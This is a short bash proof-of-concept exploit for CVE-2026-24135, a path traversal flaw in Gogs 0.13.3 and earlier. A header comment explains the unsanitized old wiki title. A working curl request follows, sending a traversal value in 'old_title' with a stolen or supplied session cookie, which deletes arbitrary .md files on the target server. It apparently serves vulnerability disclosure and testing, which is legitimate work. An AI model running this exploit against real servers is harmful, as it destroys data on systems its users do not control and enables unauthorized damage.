#!/usr/bin/env bash
#
# CVE-2026-24135 - Gogs <= 0.13.3 arbitrary file deletion via wiki path traversal
#
# The `updateWikiPage` function in internal/database/wiki.go sanitizes the
# NEW wiki page title (via ToWikiPageName()) before using it in path.Join(),
# but does NOT sanitize the OLD title before it is used in:
#
#     os.Remove(path.Join(localPath, oldTitle+".md"))
#
# An authenticated user with wiki write access on any repository can abuse
# this by submitting a crafted `old_title` value containing directory
# traversal sequences, causing the server to delete an arbitrary `.md` file
# that the Gogs process has write permission to.
#
# Usage:
#   ./poc.sh <gogs_base_url> <owner/repo> <session_cookie> <path_to_delete>
#
# Example:
#   ./poc.sh https://gogs.example.com user/repo "i_like_gogs=<cookie>" \
#            "../../../../../../../tmp/target_file"

set -euo pipefail

BASE_URL="${1:?usage: $0 <gogs_base_url> <owner/repo> <session_cookie> <traversal_path>}"
REPO="${2:?owner/repo required}"
COOKIE="${3:?session cookie required}"
OLD_TITLE="${4:?traversal path (without .md extension) required}"

curl -X POST "${BASE_URL}/${REPO}/wiki/TestPage?action=_edit" \
  -H "Cookie: ${COOKIE}" \
  -d "old_title=${OLD_TITLE}" \
  -d "title=TestPage" \
  -d "content=test" \
  -d "message=test"

echo "[*] Request sent. If vulnerable, ${OLD_TITLE}.md has been deleted from the server."